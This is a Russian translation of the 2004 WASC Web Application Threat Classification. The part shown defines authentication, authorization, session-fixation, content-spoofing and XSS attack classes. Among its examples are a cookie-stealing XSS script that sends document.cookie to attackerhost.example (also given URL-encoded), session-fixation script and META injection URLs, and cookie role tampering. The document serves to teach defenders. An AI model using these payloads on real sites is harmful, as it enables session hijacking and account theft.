Технологии. Тенденции. Заметки

Web Application Security Consortium:

Классификация угроз

www.webappsec.org

Версия: 1.00

Copyright 2004, Web Application Security Consortium. All rights reserved.

ОПИСАНИЕ

Помогать в оценке возможностей и выборе решений для защиты Web-приложений.

СОДЕРЖАНИЕ

ОПИСАНИЕ
ЦЕЛИ
ВОЗМОЖНОЕ ИСПОЛЬЗОВАНИЕ
СОДЕРЖАНИЕ
Введение
Предпосылки к созданию классификации
Участники проекта
Краткое описание
Классы атак
1 Аутентификация (Authentication)
1.1 Подбор (Brute Force)
1.2 Недостаточная аутентификация (Insufficient Authentication)
1.3 Небезопасное восстановление паролей (Weak Password Recovery Validation)
2 Авторизация (Authorization)
2.1 Предсказуемое значение идентификатора сессии (Credential/Session Prediction)
2.2 Недостаточная авторизация (Insufficient Authorization)
2.3 Отсутствие таймаута сессии (Insufficient Session Expiration).
2.4 Фиксация сессии (Session Fixation)
3 Атаки на клиентов (Client-side Attacks)
3.1 Подмена содержимого (Content Spoofing)
3.2 Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)
3.3 Расщепление HTTP-запроса (HTTP Response Splitting)
4 Выполнение кода (Command Execution)
4.1 Переполнение буфера (Buffer Overflow)
4.2 Атака на функции форматирования строк (Format String Attack)
4.3 Внедрение операторов LDAP (LDAP Injection).
4.4 Выполнение команд ОС (OS Commanding).
4.5 Внедрение операторов SQL (SQL Injection)
4.6 Внедрение серверных расширений (SSI Injection)
4.7 Внедрение операторов XPath (XPath Injection)
5 Разглашение информации (Information Disclosure)
5.1 Индексирование директорий (Directory Indexing)
5.2 Идентификация приложений (Web Server/Application Fingerprinting)
5.3 Утечка информации (Information Leakage)
5.4 Обратный путь в директориях (Path Traversal)
5.5 Предсказуемое расположение ресурсов (Predictable Resource Location)
6 Логические атаки (Logical Attacks)
6.1 Злоупотребление функциональными возможностями (Abuse of Functionality).
6.2 Отказ в обслуживании (Denial of Service).
6.3 Недостаточное противодействие автоматизации (Insufficient Anti-automation)
6.4 Недостаточная проверка процесса (Insufficient Process Validation)
Контакты
Лицензия


ВВЕДЕНИЕ

Во многих организация Web-приложения используются как критически важные системы, которые должны ежедневно обслуживать многомиллионные транзакции. Однако истинная ценность Web-сайтов должна оцениваться на основе нужд каждой организации. Важность чего-либо довольно трудно представить только в виде определенной суммы.

Уязвимости в Web-приложениях на довольно давно представляли опасность для пользователей. После идентификации уязвимости для осуществления атаки используется одна из нескольких техник. Обычно на эти техники ссылаются как на классы атак (методы использования уязвимостей). Многие из этих классов имеют распространенные названия, к примеру «переполнение буфера» (Buffer Overflows), «внедрение кода SQL» (SQL Injection), и «межсайтовое выполнение сценариев» (Cross-site Scripting). Эти классы атак будут использованы в качестве основы для описания и классификации угроз Web-приложений.

Данный документ содержит компиляцию и квинтэссенцию известных классов атак, которые представляли угрозу для Web-приложений в прошлом и представляют сейчас. Каждому классу атак присвоено стандартное название и описаны его ключевые особенности. Классы организованы в иерархическую структуру.

Создание классификации угроз безопасности Web-приложений является важным событием для разработчиков приложений, специалистов в области безопасности, производителей программных продуктов и других сторон, занимающихся безопасностью Web. На основе классификации в дальнейшем могут быть созданы методики обследования приложений, рекомендации по разработке приложений с учетом безопасности, требования к продуктам и службам.

ПРЕДПОСЫЛКИ К СОЗДАНИЮ КЛАССИФИКАЦИИ

За последние несколько лет индустрия безопасности web-приложений адаптировала несколько десятков путаных и эзотерических терминов, описывающих уязвимости.

Такие названия уязвимостей, как «межсайтовое выполнение сценариев» (Cross-site Scripting), «подделка параметров» (Parameter Tampering), и «отравление печений» (Cookie Poisoning) не точно определяют суть проблемы и возможные последствия атак.

К примеру, наличие уязвимости типа межсайтовое выполнение сценариев (Cross-site Scripting) может привести к похищению значений cookie пользователя. Знание значений cookie дает злоумышленнику возможность перехватить сессию пользователя и получить контроль над его учетной записью. Для эксплуатации этой уязвимости используется метод манипуляции параметрами пользовательского ввода и поделка параметров URL.
Приведенный сценарий атаки может быть описан с использованием различных жаргонизмов. Этот сложный и переменчивый словарь часто вызывает проблемы и разногласия в открытых форумах, даже если стороны согласны с основной идеей.
На протяжении долгих лет не существовало ресурса, который бы описывал уязвимости в Web-приложениях в достаточно полной и стандартной форме. Эта работа основана на выжимках из различных книг, десятков статей и сотен презентаций.
Когда неофит безопасности Web-приложений приступает к обучению, его быстро вводит в заблуждение отсутствие стандартного языка. Эта ситуация затуманивает и без того неокрепшие знания и замедляет понимание картины в целом. Нам необходим формальный, стандартизированный инструмент для обсуждения уязвимостей, если мы собираемся повышать уровень защищенности Web-приложений.

УЧАСТНИКИ ПРОЕКТА

Robert Auger - SPI Dynamics
Ryan Barnett - Center for Internet Security (Apache Project Lead)
Yuval Ben-Itzhak - Individual
Erik Caso - NT OBJECTives
Cesar Cerrudo - Application Security Inc.
Sacha Faust - SPI Dynamics
JD Glaser - NT OBJECTives
Jeremiah Grossman - WhiteHat Security
Sverre H. Huseby - Individual
Amit Klein - Sanctum
Mitja Kolsek - Acros Security
Aaron C. Newman - Application Security Inc.
Steve Orrin - Sanctum
Bill Pennington - WhiteHat Security
Ray Pompon - Conjungi Networks
Mike Shema - NT OBJECTives
Ory Segal - Sanctum
Caleb Sima - SPI Dynamics


КРАТКОЕ ОПИСАНИЕ

Аутентификация (Authentication)

Подбор (Brute Force):
подбор - автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.

Недостаточная аутентификация (Insufficient Authentication):
эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации.

Небезопасное восстановление паролей (Weak Password Recovery Validation): эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей.

Авторизация (Authorization)

Предсказуемое значение идентификатора сессии (Credential/Session Prediction):
предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей.

Недостаточная авторизация (Insufficient Authorization):
недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен.

Отсутствие таймаута сессии (Insufficient Session Expiration):
в случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации.

Фиксация сессии (Session Fixation):
используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение.

Атаки на клиентов (Client-side Attacks)

Подмена содержимого (Content Spoofing):
используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника.

Межсайтовое выполнение сценариев (Cross-site Scripting, XSS):
наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя.

Расщепление HTTP-запроса (HTTP Response Splitting):
при использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа.

Выполнение кода (Command Execution)

Переполнение буфера (Buffer Overflow):
эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы путем перезаписи данных в памяти системы.

Атака на функции форматирования строк (Format String Attack):
при использовании этих атак путь исполнения программы модифицируется методои перезаписи областей памяти с помощью функций форматирования символьных переменных.

Внедрение операторов LDAP (LDAP Injection):
атаки этого типа направлены на Web-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем.

Выполнение команд ОС (OS Commanding):
атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными.

Внедрение операторов SQL (SQL Injection):
эти атаки направлены на Web-серверы, создающие SQL запросы к серверам СУБД на основе данных, вводимых пользователем.

Внедрение серверных сценариев (SSI Injection):
атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на Web-сервере.

Внедрение операторов XPath (XPath Injection):
эти атаки направлены на Web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

Разглашение информации (Information Disclosure)

Индексирование директорий (Directory Indexing):
атаки данного класса позволяют атакующему получить информацию о наличии файлов в Web каталоге, которые недоступны при обычной навигации по Web сайту.

Идентификация приложений (Web Server/Application Fingerprinting):
определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, Web-северах и браузерах.

Утечка информации (Information Leakage):
эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы.

Обратный путь в директориях (Path Traversal):
данная техника атак направлена на получение доступа к файлам, директориям и командам, находящимся вне основной директории Web-сервера.

Предсказуемое расположение ресурсов (Predictable Resource Location):
позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям.

Логические атаки (Logical Attacks)

Злоупотребление функциональными возможностями (Abuse of Functionality):
данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа.

Отказ в обслуживании (Denial of Service):
данный класс атак направлен на нарушение доступности Web-сервера.

Недостаточное противодействие автоматизации (Insufficient Anti-automation):
эти уязвимости возникаеют, в случае, если сервер позволяет автоматически выполнять операции, которые должны проводиться вручную.

Недостаточная проверка процесса (Insufficient Process Validation):
уязвимости этого класса возникают, когда сервер недостаточно проверяет последовательность выполнения операций приложения.


КЛАССЫ АТАК

1 Аутентификация (Authentication)
Раздел, посвященный аутентификации описывает атаки, направленные на используемые Web-приложением методы проверки идентификатора пользователя, службы или приложения.
Аутентификация использует как минимум один из трех механизмов (факторов): "что-то, что мы имеем", "что-то, что мы знаем" или "что-то, что мы есть". В этом разделе описываются атаки, направленные на обход или эксплуатацию уязвимостей в механизмах реализации аутентификации Web-серверов.
1.1 Подбор (Brute Force)
Подбор - автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.
Многие системы позволяют использовать слабые пароли или ключи шифрования, и пользователи часто выбираю легко угадываемые или содержащиеся в словарях парольные фразы.
Используя эту ситуацию, злоумышленник может воспользоваться словарем и попытаться использовать тысячи или даже миллионы содержащихся в нем комбинаций символов в качестве пароля. Если испытуемый пароль позволяет получить доступ к системе, атака считается успешной и атакующий может использовать учетную запись.
Подобная техника проб и ошибок может быть использована для подбора ключей шифрования. В случае использования севером ключей недостаточной длины, злоумышленник может получить используемый ключ, протестировав все возможные комбинации.
Существует два вида подбора: прямой и обратный. При прямом подборе используются различные варианты пароля для одного имени пользователя. При обратном перебераются различные имена пользователей, а пароль остается неизменным. В системах с миллионами учетных записей вероятность использования различными пользователями одного пароля довольно высока. Не смотря на популярность и высокую эффективность, подбор может занимать несколько часов, дней или лет.

Пример

Имя пользователя = Jon
Пароли = smith, michael-jordan, [pet names], [birthdays], [car names], ...

Имена пользователей = Jon, Dan, Ed, Sara, Barbara, .....
Пароль = 12345678

Ссылки

"Brute Force Attack", Imperva Glossary http://www.imperva.com/application_defense_center/glossary/brute_force.html"

iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler - iDEFENSE Labs http://www.cgisecurity.com/lib/SessionIDs.pdf


1.2 Недостаточная аутентификация (Insufficient Authentication)
Эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации. Интерфейсы администрирования через Web - яркий пример критичных систем.
В зависимости от специфики приложения, подобные компоненты не должны быть доступны без должной аутентификации. Чтобы не использовать аутентификацию некоторые ресурсы "прячутся" по определенному адресу, который не указан на основных страницах сервера или других общедоступных ресурсах. Однако, подобный подход не более чем "безопасность через сокрытие". Важно понимать, что, не смотря на то, что злоумышленник не знает адреса страницы, она все равно доступна через Web.
Необходимый URL может быть найден перебором типичных файлов и директорий (таких как /admin/), с использованием сообщений об ошибках, журналов перекрестных ссылок или путем простого чтения документации. Подобные ресурсы должны быть защищены адекватно важности их содержимого и функциональных возможностей.

Пример
Многие Web-приложения по умолчанию используют для административного доступа ссылку в корневой директории сервера (/admin/). Обычно ссылка на эту страницу не фигурирует в содержимом сервера, однако страница доступна с помощью стандартного браузера. Поскольку пользователь или разработчик предполагает, что никто не воспользуется этой страницей, так как ссылки на неё отсутствует, зачастую реализацией аутентификации пренебрегают. И для получения контроля над сервером злоумышленнику достаточно зайти на эту страницу.

1.3 Небезопасное восстановление паролей (Weak Password Recovery Validation)
Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей.
Часто аутентификация на Web-сервере требует от пользователя запоминания пароля или парольной фразы. Только пользователь должен знать пароль, причем помнить его отчетливо. Со временем пароль забывается. Ситуация усложняется, поскольку в среднем пользователь посещает около 20 сайтов, требующих ввода пароля.
(RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm). Таким образом, функция восстановления пароля является важной составляющей предоставляемой Web-серверами сервиса.
Примером реализации подобной функции является использование "секретного вопроса", ответ на который указывается в процессе регистрации. Вопрос либо выбирается из списка или вводится самим пользователем. Еще один механизм позволяет пользователю указать "подсказку", которая поможет ему вспомнить пароль. Другие способы требуют от пользователя указать часть персональных данных, таких как номер соц. страхования, ИНН, домашний адрес почтовый индекс и т.д., которые затем будут использоваться для установления личности. После того как пользователь докажет свою идентичность, система отобразит новый пароль или перешлет его по почте.
Уязвимости связанные с недостаточной проверкой при восстановлении пароля возникают, когда атакующий получает возможность используемый механизм. Это случается, когда информацию, используемую для проверки пользователя, легко угадать или сам процесс подтверждения можно обойти. Система восстановления пароля может быть скомпрометирована путем использования подбора, уязвимостей системы или из-за легко угадываемого ответа на секретный вопрос.

Примеры

Слабые методы восстановления паролей

Проверка информации
Многие серверы требуют от пользователя указать его email в комбинации с домашним адресом и номером телефона. Эта информация может быть легко получена из сетевых справочников. В результате, данные, используемые для проверки, не являются большим секретом. Кроме того, эта информация может быть получена злоумышленником с использованием других методов, таких как межсайтовое выполнение сценариев или рыбарство (phishing).

Парольные подсказки

Сервер, использующий подсказки для облегчения запоминания паролей, может быть атакован, поскольку подсказки помогают в реализации подбора паролей. Пользователь может использовать стойкий пароль, например, "221277King" с соответствующей подсказкой: "д-р+люб писатель". Атакующий может заключить, что пользовательский пароль состоит из даты рождения и имени любимого автора пользователя. Это помогает сформировать относительно короткий словарь для атаки путем перебора.

Секретный вопрос и ответ
Предположим, ответ пользователя "Бобруйск", а секретный вопрос "Место рождения". Злоумышленник может ограничить словарь для подбора секретного ответа названиями городов. Более того, если атакующий располагает некоторой информацией об пользователе, узнать его место рождения не сложно.

Ссылки

"Protecting Secret Keys with Personal Entropy", By Carl Ellison, C. Hall, R. Milbert, and B. Schneier
http://www.schneier.com/paper-personal-entropy.html

"Emergency Key Recovery without Third Parties", Carl Ellison http://theworld.com/~cme/html/rump96.html



2 Авторизация (Authorization)
Данный раздел посвящен атакам, направленным на методы, которые используются Web-сервером для определения того, имеет ли пользователь, служба или приложение необходимые для совершения действия разрешения. Многие Web-сайты разрешают только определенным пользователям получать доступ к некоторому содержимому или функциям приложения. Доступ другим пользователям должен быть ограничен. Используя различные техники, злоумышленник может повысить свои привилегии и получить доступ к защищенным ресурсам.

2.1 Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей. Подобные атаки выполняются путем предсказания или угадывания уникального идентификатора сессии пользователя. Эта атака также как и перехват сессии (Session Hijacking) в случае успеха позволяет злоумышленнику послать запрос Web-серверу с правами скомпрометированного пользователя. Дизайн многих серверов предполагает аутентификацию пользователя при первом обращении и дальнейшее отслеживание его сессии. Для этого пользователь указывает комбинацию имени и пароля. Вместо повторной передачи имени пользователя и пароля при каждой транзакции, Web-сервер генерирует уникальный идентификатор, который присваивается сессии пользователя. Последующие запросы пользователя к серверу содержат идентификатор сессии как доказательство того, что аутентификация была успешно пройдена. Если атакующий может предсказать или угадать значение идентификатора другого пользователя, это может быть использовано для проведения атаки.

Примеры

Многие серверы генерируют идентификаторы сессии, используя алгоритмы собственной разработки. Подобные алгоритмы могут просто увеличивать значение идентификатора для каждого запроса пользователя. Другой распространенный вариант – использование функции от текущего времени или других специфичных для компьютера данных.
Идентификатор сессии сохраняется в cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может выполнить следующие действия:
1) подключиться к серверу, используя текущий идентификатор сессии;
2) вычислить или подобрать следующий идентификатор сессии;
3) присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.

Ссылки

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

"Best Practices in Managing HTTP-Based Client Sessions", Gunter Ollmann - X-Force Security Assessment Services EMEA
http://www.technicalinfo.net/papers/WebBasedSessionManagement.html

"A Guide to Web Authentication Alternatives", Jan Wolter
http://www.unixpapa.com/auth/homebuilt.html

2.2 Недостаточная авторизация (Insufficient Authorization)
Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен. То, что пользователь прошел аутентификацию не означает, что он должен получить доступ ко всем функциям и содержимому сервера. Кроме аутентификации должно быть реализовано разграничение доступа.
Процедура авторизации определяет, какие действия может совершать пользователь, служба или приложение. Правильно построенные правила доступа должны ограничивать действия пользователя согласно политике безопасности. Доступ к важным ресурсам сайта должен быть разрешен только администраторам.

Примеры

В прошлом многие Web-серверы сохраняли важные ресурсы в "скрытых" директориях, таких как "/admin" или "/log". Если атакующий запрашивал эти ресурсы напрямую, он получал к ним доступ и мог перенастроить сервер, получить доступ к важной информации либо полностью скомпрометировать систему.
Некоторые серверы, после аутентификации, сохраняют в cookie или скрытых полях идентификатор "роли" пользователя в рамках Web-приложения. Если разграничение доступа основывается на проверке данного параметра без верификации принадлежности к роли при каждом запросе, злоумышленник может повысить свои привилегии, просто модифицировав значение cookie.
К примеру, значение cookie

SessionId=12345678;Role=User

Заменяется на

SessionId=12345678;Role=Admin

Ссылки
"Brute Force Attack", Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

2.3 Отсутствие таймаута сессии (Insufficient Session Expiration).
В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации. Это повышает уязвимость сервера для атак, связанных с кражей идентификационных данных. Поскольку протокол HTTP не предусматривает контроль сессии, Web-серверы обычно используют идентификаторы сессии для определения запросов пользователя. Таким образом, конфиденциальность каждого идентификатора должна быть обеспечена, чтобы предотвратить множественный доступ пользователей с одной учетной записью. Похищенный идентификатор может использоваться для доступа к данным пользователя или осуществления мошеннических транзакций. Отсутствие таймаута сессии увеличивает вероятность успеха различных атак. К примеру, злоумышленник может получить идентификатор сессии, используя сетевой анализатор или уязвимость типа межсайтовое выполнение сценариев. Хотя таймаут не поможет в случае, если идентификатор будет использован немедленно, ограничение времени действия поможет в случае более поздних попыток использования идентификатора.
В другой ситуации, если пользователь получает доступ к серверу с публичного компьютера (библиотека, Internet-кафе и т.д.) отсутствие таймаута сессии может позволить злоумышленнику воспользоваться историей браузера для просмотра страниц пользователя.
Большое значение таймаута увеличивает шансы подбора действующего идентификатора. Кроме того, увеличение этого параметра ведет к увеличению одновременно открытых сессий, что ещё больше повышает вероятность успешного подбора.

Пример
При использовании публичного компьютера, когда несколько пользователей имеют неограниченный физический доступ к машине, отсутствие таймаута сессии позволяет злоумышленнику просматривать страницы, посещенные другим пользователем. Если функция выхода из системы просто перенаправляет на основную страницу Web-сервера, а не завершает сессию, страницы, посещенные пользователем, могут быть просмотрены злоумышленником. Поскольку идентификатор сессии не был отмечен как недействительный, атакующий получит доступ к страницам сервера без повторной аутентификации.

Ссылки

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

2.4 Фиксация сессии (Session Fixation)
Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера, существует несколько способов "зафиксировать" значение идентификатора сессии. Для этого могут использоваться атаки типа межсайтовое выполнение сценариев или подготовка сайта с помощью предварительного HTTP запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя, злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя.
Можно выделить два типа систем управления сессиями на основе идентификаторов. Первый из них, "разрешающий", позволяет браузеру указывать любой идентификатор. Системы второго "строгого" типа обрабатывают только идентификаторы, сгенерированные сервером. Если используются "разрешающие" системы, злоумышленник может выбрать любой идентификатор сессии. В случае со "строгими" серверами злоумышленнику приходится поддерживать "сессию-заглушку" и периодически соединяться с сервером для избежание закрытия сессии по таймауту.
Без наличия активной защиты от фиксации сессии, эта атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Большинство Web-серверов сохраняет ID в cookie, но это значение так же может присутствовать в URL или скрытом поле формы.
К сожалению, системы, использующие cookie, являются наиболее уязвимыми. Большинство известных на настоящий момент вариантов фиксации сессии направлены именно на значение cookie.
В отличие от кражи идентификатора, фиксация сессии предоставляет злоумышленнику гораздо больший простор для творчества. Это связанно с тем, что активная фаза атаки происходит до входа пользователя в систему.

Пример

Атаки, направленные на фиксацию сессии обычно проходят в три этапа.

1) Установление сессии
Злоумышленник устанавливает сессию-заглушку на атакуемом сервере и получает от сервера идентификатор или выбирает произвольный идентификатор. В некоторых случаях сессия-заглушка должна поддерживаться в активном состоянии путем периодических обращений к серверу.


2) Фиксация сессии
Злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор сессии. Это можно сделать, например, установив значение cookie в браузере с помощью XSS.

3) Подключение к сессии
Атакующий ожидает аутентификации пользователя на сервере. После того, как пользователь зашел на сайт, злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя.

Для фиксации ID сессии могут быть использованы различные техники, такие как:

- Установка значения cookie с помощью языков сценариев на стороне клиента.
Если уязвимость типа межсайтовое выполнение сценариев присутствует на любом сервере в домене, злоумышленник получает возможность установить значение cookie на стороне клиента.
Пример кода:
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc

- Установка значения cookie с помощью тега META
Это техника похожа на предыдущую, но может быть использована, когда предприняты меры против внедрения тегов сценариев.
Пример кода:
http://example/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20domain=.example.dom">.idc

Установка cookie с использованием заголовка ответа HTTP
Злоумышленник использует атакуемый сервер или любой сервер в домене для того, чтобы установить cookie с идентификатором сессии.
Это может быть реализовано различными методами, например:
- Взлом сервера в домене (например, слабо администрируемый сервер WAP).
- Подмена значений в кэше DNS-сервера пользователя с целью добавления сервера атакующего в домен.
- Установка ложного WEB-сервера в домене (к примеру, на рабочей станции в среде Active Directory, где все машины в DNS принадлежат одному домену).
- Использование атаки типа расщепление HTTP ответа (response splitting).

Замечание:

Фиксация сессии на продолжительный промежуток времени может быть осуществлена с использованием постоянных cookie (например, со сроком действия 10 лет), которые сохраняются даже после перезагрузки компьютера.

Пример кода: http://example/<script>document.cookie="sessionid=1234;%20Expires=Friday,%201-Jan2010%2000:00:00%20GMT";</script>.idc

Ссылки

"Session Fixation Vulnerability in Web-based Applications", By Mitja Kolsek - Acros Security
http://www.acrossecurity.com/papers/session_fixation.pdf

"Divide and Conquer", By Amit Klein – Sanctum
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf


3 Атаки на клиентов (Client-side Attacks)
Этот раздел описывает атаки на пользователей Web-сервера. Во время посещения сайта, между пользователем и севером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Пользователь ожидает, что сайт предоставит ему легитимное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера.

3.1 Подмена содержимого (Content Spoofing)
Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника.
Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL ( http://foo.example/page?frame_src=http://foo.example/file.html). Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
Специально созданная ссылка может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователе с использованием межсайтового выполнения сценариев. Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерированна злоумышленником.
Таким образом, произойдет "дефэйс" сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.

Пример

Создание ложного пресс-релиза. Предположим, что Web-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке
http://foo.example/pr?pg=http://foo.example/pr/01012003.html в его браузер загрузится страница следующего содержания:

Пример кода:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC=" http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>

Приложение "pr" создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид:

<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>

Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".

Ссылки
"A new spoof: all frames-based sites are vulnerable" - SecureXpert Labs
http://tbtf.com/archive/11-17-98.html#s02

3.2 Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)
Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/JavaScript, но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.
Переданный код исполняется в контексте безопаснсти (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках HTTP запроса (cookie, user-agent, refferer), значениях полей форм и т.д.
Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохраненные) и непостоянные (отраженные). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в хранимом - в разных.
Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web-интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

Примеры

Сохраненный вариант атаки

Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя.

Пример кода для передачи cookie:

<SCRIPT>document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

Отраженный вариант атаки

Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.
К примеру, при переходе по URL http://portal.example/search?q=”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу:
"По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя.

Пример:
http://portal.example/search/?q=<script>alert("xss")</script>
Для сокрытия кода сценария может быть использована кодировка URLEncode

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Ссылки

"CERT© Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

"The Cross Site Scripting FAQ" - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml

Cross Site Scripting Info
http://httpd.apache.org/info/css-security/

Character entity references in HTML 4
http://www.w3.org/TR/html4/sgml/entities.html

"Understanding Malicious Content Mitigation for Web Developers"
http://www.cert.org/tech_tips/malicious_code_mitigation.html

